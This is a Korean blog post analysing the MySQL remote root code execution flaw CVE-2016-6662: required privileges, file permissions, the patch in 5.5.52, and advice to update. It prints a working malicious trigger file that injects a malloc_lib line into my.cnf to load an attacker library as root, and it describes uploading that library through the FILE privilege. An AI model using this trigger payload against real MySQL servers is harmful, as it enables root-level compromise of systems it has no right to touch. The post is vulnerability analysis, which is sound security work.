MySQL Exploit Remote Root Code Execution CVE-2016-6662
Sep 25, 2016 · CVE
CVE-2016-6662로 발표된 MySQL 취약점이 발표된지 오래되었지만, 제 나름대로 해석한 내용을 써보려 합니다.
우선 원문을 참조하실 분은 링크를 참조해 주시길 바랍니다.
이 취약점의 원리를 간단하게 말하자면, SQL 명령을 통하여 my.cnf
라는 설정 파일에 악의적인 값을 넣어 root권한을 획득하게 됩니다. 악의적인 설정값으로 malloc_lib
라는 옵션이 있는데, 이 옵션은 malloc을 위한 라이브러리를 기본 제공하는 라이브러리가 아닌 다른 라이브러리를 로드하기 위해 있는 설정 값입니다.
이 옵션을 malloc을 위한 라이브러리가 아닌, 악의적인 명령을 하게되는 라이브러리를 호출하게 한 후, 그 라이브러리에서 root shell을 열어주는 방식으로 구성되어있습니다.
현재에는 MySQL, MariaDB, PerconaDB사에서 패치가 완료된 상황으로, 현재 MySQL은 패키지 관리자를 통할 경우 아직 업데이트 되지 않은 것 같습니다.
제가 모든 환경에서 해본것이 아닌 만큼, 확실하지 않으며, 꼭 최신버전으로 업데이트
를 해주시길 바랍니다.
또한 웹에서 root
계정으로 DB를 사용하는 경우도 있는데, 이 경우에는 권한이 모두 있으므로 일반 유저를 만들어 사용하길 바랍니다.
패치가 되지 않은 버전의 MySQL로 분석을 해보도록 하겠습니다.
OS : Debian GNU/Linux 8
MySQL : mysql-server/stable,stable,now 5.5.50-0+deb8u1 all [installed]
이러한 환경에서 분석을 하였습니다. 원문을 읽고 exploit 코드를 참고하여 공격 원리를 파악하는 방식으로 분석하였습니다.
공격은 다음과 같은 조건을 가진 상태에서 이루어 지게 됩니다.
MySQL <= 5.7.14 or 5.6.32 or 5.5.51
DB권한 => FILE, SELECT, INSERT, CREATE
DB에 명령을 내릴 수 있는 상황(ex SQL Injection, DB Connection...)
이와 같은 조건을 가진 환경에서 이루어 지게 됩니다. FILE
권한 같은 경우는 일반적인 환경에서는 가지고 있지 않으므로, 이 조건을 우회하려면 CVE-2016-6663
을 이용해야 합니다.
mysql> show grants for attacker@'%';
+--------------------------------------------------------------------------------------------------------+
| Grants for attacker@% |
+--------------------------------------------------------------------------------------------------------+
| GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD '*0CB5F227B3E98395CA0C6F1427427E77ADF49F89' |
| GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%' |
+--------------------------------------------------------------------------------------------------------+
이와 같은 권한을 가진 DB 유저가 있는 상황입니다. 이 유저의 계정을 이용하여 공격을 할 수 있게 됩니다.
이 계정은 FILE
권한이 있기 때문에, DUMPFILE
명령을 이용하여 mysql권한을 가진 공간에 파일을 쓸 수 있다.
공격 대상의 디렉토리는 디폴트로 설정된 경우 /var/lib/mysql/
이다.
root@debian:/var/lib/mysql# ls -ald
drwx------ 6 mysql mysql 4096 Oct 2 21:23 .
다음과 같이 이 디렉토리의 권한은 mysql이다. 이렇기 때문에 이 디렉토리에는 DUMPFILE
명령을 통하여 파일을 만들 수 있게 된다.
만들 파일은 my.cnf
가 되는데, 이는 mysql이 시작 될 때 읽게되는 설정파일이기 때문이다. 이 파일이 아니더라도,
root@debian:/etc/mysql# ls -al my.cnf
-rw-r--r-- 1 mysql mysql 3350 Sep 29 13:34 my.cnf
이 파일(/etc/my.cnf.d/my.cnf
도 포함)도 대상이 되게 되는데, 이 파일의 권한이 디폴트로 mysql
임을 볼 수 있다. 이 때문에 이 파일에 값을 쓸 수 있게 된다.
그럼 이 파일에 어떠한 값을 넣어야 하는지 알아야 하는데, 앞서 말한데로 malloc_lib
를 이용할 것이기 때문에 그 옵션과 관련된 내용을 넣도록 하겠다.
넣는 방식은 DUMFILE을 사용하면 좋겠지만, 이 방식은 2003년에 나온 취약점에 의해 막힌것 같다.
그렇기 때문에 다른 방법을 사용해야 하는데, 그 방법은 log
파일을 이용하여 작성하는 것이다.
my.cnf
파일 마지막에 log를 이용하여 값을 인젝션시키고, 악의적인 라이브러리를 호출해 root shell을 획득하면 된다.
하지만 log파일을 관리하는건 root의 권한만 가능하므로 이를 우회할 방법이 필요하다.
그래서 사용된 것이 trigger
이다. trigger를 root의 권한으로 실행시키게 하면 일반 유저도 root의 권한으로 명령이 가능하게 된다.
여기서 문제는 일반 유저는 root의 trigger를 만들수 없다. 그래서 FILE옵션이 필요하게 된 것이다.
이 권한을 이용하여 자신의 db에 trigger파일을 직접 업로드 시켜버리면 된다.
그렇게 업로드된 trigger
에 의해서 root는 해당 명령을 실행하게 된다. 그러면 공격자는 일반 유저이지만, db에서는 root의 권한을 이용할 수 있다.
이 root의 권한을 이용하여 log
를 이용한 설정파일 인젝션을 수행하게 된다.
TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\nAFTER INSERT\n ON `poctable` FOR EACH ROW\nBEGIN\n\n DECLARE void varchar(550);\n set global general_log_file=\'/etc/mysql/my.cnf\';\n set global general_log = on;\n select "\n\n# 0ldSQL_MySQL_RCE_exploit got here :)\n\n[mysqld]\nmalloc_lib=\'/var/lib/mysql/mysql_hookandroot_lib.so\'\n\n[abyss]\n" INTO void; \n set global general_log = off;\n\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
위와 같은 트리거를 생성하여 poctable에서 명령이 일어날 경우 root가 로그를 만들고, 인젝션하는 공격을 하게 된다.
이렇게 되면 FILE권한만 있으면 root로 어떠한 명령이든 실행할 수 있게 된다.
그럼 악의적인 라이브러리를 업로드 해야 하는데, 이는 단순하게 FILE권한이 있으므로 LIB를 HEX로 읽어 HEX로 써주면 된다.
그렇게 올려진 라이브러리를 malloclib의 값으로 주면 mysql이 재시작 될 때 `malloclib`옵션에 의해서 로드되고, 이 악의적인 라이브러리에서 기존에 사용하는 함수를 재정의해서 원하는 명령을 수행하도록 하면 된다.
5.5.52
패치노트를 기준으로 이 취약점이 다음과 같이 수정되었다.
--malloc_lib
옵션은 일반적인 경로가 아닌, 라이브러리가 있는 경로에서만 로드되도록 하고, 설정파일에서는 이 옵션을 사용할 수 없게 하였다.
오직 mysql을 실행할 때 옵션으로만 줄 수 있게 변경되었다.
log파일은 .ini
이나 .cnf
파일인 설정파일에 쓸 수 없게 변경하였다. 이로써 설정파일에 악의적인 값을 인젝션할 수 없게 되었다.
마지막으로 자세히는 나오지 않았지만, REPAIR TABLE
이 수정되었는데, 이는 CVE-2016-6663
의 취약점을 수정한 것이다.